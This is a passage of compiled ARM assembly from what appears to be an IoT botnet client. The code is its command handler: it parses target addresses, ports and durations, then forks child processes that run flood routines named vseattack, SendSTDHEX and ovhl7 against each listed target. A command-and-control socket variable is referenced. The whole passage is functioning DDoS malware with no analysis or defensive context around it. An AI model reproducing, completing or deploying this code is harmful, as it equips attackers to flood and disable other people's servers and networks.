	add	r3, r3, #32
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	b	.L428
.L427:
	mov	r3, #0
.L428:
	str	r3, [fp, #-32]
	mov	r1, #44
	ldr	r0, [fp, #-60]
	bl	strchr
	mov	r3, r0
	cmp	r3, #0
	beq	.L429
	ldr	r1, .L619+104
	ldr	r0, [fp, #-60]
	bl	strtok
	str	r0, [fp, #-368]
	b	.L430
.L432:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L431
	ldr	r3, [fp, #-32]
	str	r3, [sp, #12]
	ldr	r3, [fp, #-36]
	str	r3, [sp, #8]
	ldr	r3, [fp, #-40]
	str	r3, [sp, #4]
	ldr	r3, [fp, #-44]
	str	r3, [sp]
	ldr	r3, [fp, #-48]
	ldr	r2, [fp, #-52]
	ldr	r1, [fp, #-56]
	ldr	r0, [fp, #-368]
	bl	vseattack
	mov	r0, #0
	bl	_exit
.L431:
	ldr	r1, .L619+104
	mov	r0, #0
	bl	strtok
	str	r0, [fp, #-368]
.L430:
	ldr	r3, [fp, #-368]
	cmp	r3, #0
	bne	.L432
	b	.L582
.L429:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L582
	ldr	r3, [fp, #-32]
	str	r3, [sp, #12]
	ldr	r3, [fp, #-36]
	str	r3, [sp, #8]
	ldr	r3, [fp, #-40]
	str	r3, [sp, #4]
	ldr	r3, [fp, #-44]
	str	r3, [sp]
	ldr	r3, [fp, #-48]
	ldr	r2, [fp, #-52]
	ldr	r1, [fp, #-56]
	ldr	r0, [fp, #-60]
	bl	vseattack
	mov	r0, #0
	bl	_exit
.L420:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+24
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L434
	ldr	r3, [fp, #-384]
	cmp	r3, #5
	ble	.L583
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmn	r3, #1
	beq	.L583
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmn	r3, #1
	beq	.L583
	ldr	r3, [fp, #-388]
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmn	r3, #1
	beq	.L583
	ldr	r3, [fp, #-388]
	add	r3, r3, #20
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmn	r3, #1
	beq	.L583
	ldr	r3, [fp, #-388]
	add	r3, r3, #20
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #65536
	bgt	.L583
	ldr	r3, [fp, #-388]
	add	r3, r3, #20
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	ldr	r2, .L619+16
	cmp	r3, r2
	bgt	.L583
	ldr	r3, [fp, #-388]
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #32
	bgt	.L583
	ldr	r3, [fp, #-384]
	cmp	r3, #7
	bne	.L436
	ldr	r3, [fp, #-388]
	add	r3, r3, #24
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L583
.L436:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-92]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-88]
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-84]
	ldr	r3, [fp, #-388]
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-80]
	ldr	r3, [fp, #-388]
	add	r3, r3, #20
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-76]
	ldr	r3, [fp, #-384]
	cmp	r3, #6
	ble	.L437
	ldr	r3, [fp, #-388]
	add	r3, r3, #24
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	b	.L438
.L437:
	mov	r3, #1000
.L438:
	str	r3, [fp, #-72]
	ldr	r3, [fp, #-384]
	cmp	r3, #7
	ble	.L439
	ldr	r3, [fp, #-388]
	add	r3, r3, #28
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	b	.L440
.L439:
	ldr	r3, .L619+20
.L440:
	str	r3, [fp, #-68]
	ldr	r3, [fp, #-384]
	cmp	r3, #8
	ble	.L441
	ldr	r3, [fp, #-388]
	add	r3, r3, #32
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	b	.L442
.L441:
	mov	r3, #0
.L442:
	str	r3, [fp, #-64]
	mov	r1, #44
	ldr	r0, [fp, #-92]
	bl	strchr
	mov	r3, r0
	cmp	r3, #0
	beq	.L443
	ldr	r1, .L619+104
	ldr	r0, [fp, #-92]
	bl	strtok
	str	r0, [fp, #-364]
	b	.L444
.L446:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L445
	ldr	r3, [fp, #-64]
	str	r3, [sp, #12]
	ldr	r3, [fp, #-68]
	str	r3, [sp, #8]
	ldr	r3, [fp, #-72]
	str	r3, [sp, #4]
	ldr	r3, [fp, #-76]
	str	r3, [sp]
	ldr	r3, [fp, #-80]
	ldr	r2, [fp, #-84]
	ldr	r1, [fp, #-88]
	ldr	r0, [fp, #-364]
	bl	vseattack
	mov	r0, #0
	bl	_exit
.L445:
	ldr	r1, .L619+104
	mov	r0, #0
	bl	strtok
	str	r0, [fp, #-364]
.L444:
	ldr	r3, [fp, #-364]
	cmp	r3, #0
	bne	.L446
	b	.L584
.L443:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L584
	ldr	r3, [fp, #-64]
	str	r3, [sp, #12]
	ldr	r3, [fp, #-68]
	str	r3, [sp, #8]
	ldr	r3, [fp, #-72]
	str	r3, [sp, #4]
	ldr	r3, [fp, #-76]
	str	r3, [sp]
	ldr	r3, [fp, #-80]
	ldr	r2, [fp, #-84]
	ldr	r1, [fp, #-88]
	ldr	r0, [fp, #-92]
	bl	vseattack
	mov	r0, #0
	bl	_exit
.L434:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+28
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L448
	ldr	r3, [fp, #-384]
	cmp	r3, #3
	ble	.L585
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L585
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L585
	ldr	r3, [fp, #-388]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-236]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-232]
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-228]
	mov	r1, #44
	ldr	r0, [fp, #-236]
	bl	strchr
	mov	r3, r0
	cmp	r3, #0
	beq	.L451
	ldr	r1, .L619+104
	ldr	r0, [fp, #-236]
	bl	strtok
	str	r0, [fp, #-360]
	b	.L452
.L454:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L453
	ldr	r2, [fp, #-228]
	ldr	r1, [fp, #-232]
	ldr	r0, [fp, #-360]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L453:
	ldr	r1, .L619+104
	mov	r0, #0
	bl	strtok
	str	r0, [fp, #-360]
.L452:
	ldr	r3, [fp, #-360]
	cmp	r3, #0
	bne	.L454
	b	.L448
.L451:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L586
	ldr	r2, [fp, #-228]
	ldr	r1, [fp, #-232]
	ldr	r0, [fp, #-236]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L448:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+32
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L456
	ldr	r3, [fp, #-384]
	cmp	r3, #3
	ble	.L587
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L587
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L587
	ldr	r3, [fp, #-388]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-224]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-220]
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-216]
	mov	r1, #44
	ldr	r0, [fp, #-224]
	bl	strchr
	mov	r3, r0
	cmp	r3, #0
	beq	.L459
	ldr	r1, .L619+104
	ldr	r0, [fp, #-224]
	bl	strtok
	str	r0, [fp, #-356]
	b	.L460
.L462:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L461
	ldr	r2, [fp, #-216]
	ldr	r1, [fp, #-220]
	ldr	r0, [fp, #-356]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L461:
	ldr	r1, .L619+104
	mov	r0, #0
	bl	strtok
	str	r0, [fp, #-356]
.L460:
	ldr	r3, [fp, #-356]
	cmp	r3, #0
	bne	.L462
	b	.L456
.L459:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L588
	ldr	r2, [fp, #-216]
	ldr	r1, [fp, #-220]
	ldr	r0, [fp, #-224]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L456:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+36
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L464
	ldr	r3, [fp, #-384]
	cmp	r3, #3
	ble	.L589
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L589
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L589
	ldr	r3, [fp, #-388]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-212]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-208]
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-204]
	mov	r1, #44
	ldr	r0, [fp, #-212]
	bl	strchr
	mov	r3, r0
	cmp	r3, #0
	beq	.L467
	ldr	r1, .L619+104
	ldr	r0, [fp, #-212]
	bl	strtok
	str	r0, [fp, #-352]
	b	.L468
.L470:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L469
	ldr	r2, [fp, #-204]
	ldr	r1, [fp, #-208]
	ldr	r0, [fp, #-352]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L469:
	ldr	r1, .L619+104
	mov	r0, #0
	bl	strtok
	str	r0, [fp, #-352]
.L468:
	ldr	r3, [fp, #-352]
	cmp	r3, #0
	bne	.L470
	b	.L464
.L467:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L590
	ldr	r2, [fp, #-204]
	ldr	r1, [fp, #-208]
	ldr	r0, [fp, #-212]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L620:
	.align	2
.L619:
	.word	.LC308
	.word	.LC309
	.word	.LC310
	.word	.LC311
	.word	65500
	.word	1000000
	.word	.LC312
	.word	.LC313
	.word	.LC314
	.word	.LC315
	.word	.LC316
	.word	.LC317
	.word	.LC318
	.word	.LC319
	.word	.LC320
	.word	.LC321
	.word	.LC322
	.word	.LC323
	.word	.LC324
	.word	.LC325
	.word	.LC326
	.word	.LC327
	.word	10000
	.word	.LC328
	.word	.LC329
	.word	mainCommSock
	.word	.LC24
.L464:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+40
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L472
	ldr	r3, [fp, #-384]
	cmp	r3, #3
	ble	.L591
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L591
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L591
	ldr	r3, [fp, #-388]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-200]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-196]
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-192]
	mov	r1, #44
	ldr	r0, [fp, #-200]
	bl	strchr
	mov	r3, r0
	cmp	r3, #0
	beq	.L475
	ldr	r1, .L619+104
	ldr	r0, [fp, #-200]
	bl	strtok
	str	r0, [fp, #-348]
	b	.L476
.L478:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L477
	ldr	r2, [fp, #-192]
	ldr	r1, [fp, #-196]
	ldr	r0, [fp, #-348]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L477:
	ldr	r1, .L619+104
	mov	r0, #0
	bl	strtok
	str	r0, [fp, #-348]
.L476:
	ldr	r3, [fp, #-348]
	cmp	r3, #0
	bne	.L478
	b	.L472
.L475:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L592
	ldr	r2, [fp, #-192]
	ldr	r1, [fp, #-196]
	ldr	r0, [fp, #-200]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L472:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+44
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L480
	ldr	r3, [fp, #-384]
	cmp	r3, #3
	ble	.L593
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L593
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L593
	ldr	r3, [fp, #-388]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-188]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-184]
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-180]
	mov	r1, #44
	ldr	r0, [fp, #-188]
	bl	strchr
	mov	r3, r0
	cmp	r3, #0
	beq	.L483
	ldr	r1, .L619+104
	ldr	r0, [fp, #-188]
	bl	strtok
	str	r0, [fp, #-344]
	b	.L484
.L486:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L485
	ldr	r2, [fp, #-180]
	ldr	r1, [fp, #-184]
	ldr	r0, [fp, #-344]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L485:
	ldr	r1, .L619+104
	mov	r0, #0
	bl	strtok
	str	r0, [fp, #-344]
.L484:
	ldr	r3, [fp, #-344]
	cmp	r3, #0
	bne	.L486
	b	.L480
.L483:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L594
	ldr	r2, [fp, #-180]
	ldr	r1, [fp, #-184]
	ldr	r0, [fp, #-188]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L480:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+48
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L488
	ldr	r3, [fp, #-384]
	cmp	r3, #3
	ble	.L595
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L595
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L595
	ldr	r3, [fp, #-388]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-176]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-172]
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-168]
	mov	r1, #44
	ldr	r0, [fp, #-176]
	bl	strchr
	mov	r3, r0
	cmp	r3, #0
	beq	.L491
	ldr	r1, .L619+104
	ldr	r0, [fp, #-176]
	bl	strtok
	str	r0, [fp, #-340]
	b	.L492
.L494:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L493
	ldr	r2, [fp, #-168]
	ldr	r1, [fp, #-172]
	ldr	r0, [fp, #-340]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L493:
	ldr	r1, .L619+104
	mov	r0, #0
	bl	strtok
	str	r0, [fp, #-340]
.L492:
	ldr	r3, [fp, #-340]
	cmp	r3, #0
	bne	.L494
	b	.L488
.L491:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L596
	ldr	r2, [fp, #-168]
	ldr	r1, [fp, #-172]
	ldr	r0, [fp, #-176]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L488:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+52
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L496
	ldr	r3, [fp, #-384]
	cmp	r3, #3
	ble	.L597
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L597
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L597
	ldr	r3, [fp, #-388]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-164]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-160]
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-156]
	mov	r1, #44
	ldr	r0, [fp, #-164]
	bl	strchr
	mov	r3, r0
	cmp	r3, #0
	beq	.L499
	ldr	r1, .L619+104
	ldr	r0, [fp, #-164]
	bl	strtok
	str	r0, [fp, #-336]
	b	.L500
.L502:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L501
	ldr	r2, [fp, #-156]
	ldr	r1, [fp, #-160]
	ldr	r0, [fp, #-336]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L501:
	ldr	r1, .L619+104
	mov	r0, #0
	bl	strtok
	str	r0, [fp, #-336]
.L500:
	ldr	r3, [fp, #-336]
	cmp	r3, #0
	bne	.L502
	b	.L496
.L499:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L598
	ldr	r2, [fp, #-156]
	ldr	r1, [fp, #-160]
	ldr	r0, [fp, #-164]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L496:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+56
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L504
	ldr	r3, [fp, #-384]
	cmp	r3, #3
	ble	.L599
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L599
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L599
	ldr	r3, [fp, #-388]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-152]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-148]
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-144]
	mov	r1, #44
	ldr	r0, [fp, #-152]
	bl	strchr
	mov	r3, r0
	cmp	r3, #0
	beq	.L507
	ldr	r1, .L619+104
	ldr	r0, [fp, #-152]
	bl	strtok
	str	r0, [fp, #-332]
	b	.L508
.L510:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L509
	ldr	r2, [fp, #-144]
	ldr	r1, [fp, #-148]
	ldr	r0, [fp, #-332]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L509:
	ldr	r1, .L619+104
	mov	r0, #0
	bl	strtok
	str	r0, [fp, #-332]
.L508:
	ldr	r3, [fp, #-332]
	cmp	r3, #0
	bne	.L510
	b	.L504
.L507:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L600
	ldr	r2, [fp, #-144]
	ldr	r1, [fp, #-148]
	ldr	r0, [fp, #-152]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L504:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+60
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L512
	ldr	r3, [fp, #-384]
	cmp	r3, #3
	ble	.L601
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L601
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L601
	ldr	r3, [fp, #-388]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-140]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-136]
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-132]
	mov	r1, #44
	ldr	r0, [fp, #-140]
	bl	strchr
	mov	r3, r0
	cmp	r3, #0
	beq	.L515
	ldr	r1, .L619+104
	ldr	r0, [fp, #-140]
	bl	strtok
	str	r0, [fp, #-328]
	b	.L516
.L518:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L517
	ldr	r2, [fp, #-132]
	ldr	r1, [fp, #-136]
	ldr	r0, [fp, #-328]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L517:
	ldr	r1, .L619+104
	mov	r0, #0
	bl	strtok
	str	r0, [fp, #-328]
.L516:
	ldr	r3, [fp, #-328]
	cmp	r3, #0
	bne	.L518
	b	.L512
.L515:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L602
	ldr	r2, [fp, #-132]
	ldr	r1, [fp, #-136]
	ldr	r0, [fp, #-140]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L512:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+64
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L520
	ldr	r3, [fp, #-384]
	cmp	r3, #3
	ble	.L603
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L603
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L603
	ldr	r3, [fp, #-388]
	ldr	r3, [r3, #4]
	str	r3, [fp, #-128]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-124]
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	str	r0, [fp, #-120]
	mov	r1, #44
	ldr	r0, [fp, #-128]
	bl	strchr
	mov	r3, r0
	cmp	r3, #0
	beq	.L523
	ldr	r1, .L619+104
	ldr	r0, [fp, #-128]
	bl	strtok
	str	r0, [fp, #-324]
	b	.L524
.L526:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L525
	ldr	r2, [fp, #-120]
	ldr	r1, [fp, #-124]
	ldr	r0, [fp, #-324]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L525:
	ldr	r1, .L619+104
	mov	r0, #0
	bl	strtok
	str	r0, [fp, #-324]
.L524:
	ldr	r3, [fp, #-324]
	cmp	r3, #0
	bne	.L526
	b	.L520
.L523:
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L604
	ldr	r2, [fp, #-120]
	ldr	r1, [fp, #-124]
	ldr	r0, [fp, #-128]
	bl	SendSTDHEX
	mov	r0, #0
	bl	_exit
.L520:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+68
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L528
	ldr	r3, [fp, #-384]
	cmp	r3, #3
	ble	.L605
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	ldr	r2, .L619+88
	cmp	r3, r2
	bgt	.L605
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L605
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L606
	ldr	r3, [fp, #-388]
	add	r3, r3, #4
	ldr	r4, [r3]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r5, r3, #16
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r6, r0
	ldr	r3, [fp, #-388]
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	mov	r2, r6
	mov	r1, r5
	mov	r0, r4
	bl	ovhl7
	mov	r0, #0
	bl	exit
.L528:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+72
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L532
	ldr	r3, [fp, #-384]
	cmp	r3, #3
	ble	.L607
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	ldr	r2, .L619+88
	cmp	r3, r2
	bgt	.L607
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	cmp	r3, #0
	ble	.L607
	bl	listFork
	mov	r3, r0
	cmp	r3, #0
	bne	.L608
	ldr	r3, [fp, #-388]
	add	r3, r3, #4
	ldr	r4, [r3]
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	lsl	r3, r3, #16
	lsr	r5, r3, #16
	ldr	r3, [fp, #-388]
	add	r3, r3, #12
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r6, r0
	ldr	r3, [fp, #-388]
	add	r3, r3, #16
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	mov	r2, r6
	mov	r1, r5
	mov	r0, r4
	bl	ovhl7
	mov	r0, #0
	bl	exit
.L532:
	ldr	r3, [fp, #-388]
	ldr	r3, [r3]
	ldr	r1, .L619+76
	mov	r0, r3
	bl	strcmp
	mov	r3, r0
	cmp	r3, #0
	bne	.L536
	ldr	r3, [fp, #-384]
	cmp	r3, #3
	ble	.L609
	ldr	r3, [fp, #-388]
	add	r3, r3, #8
	ldr	r3, [r3]
	mov	r0, r3
	bl	atoi
	mov	r3, r0
	ldr	r2, .L619+88
	cmp	r3, r2
	bgt	.L609
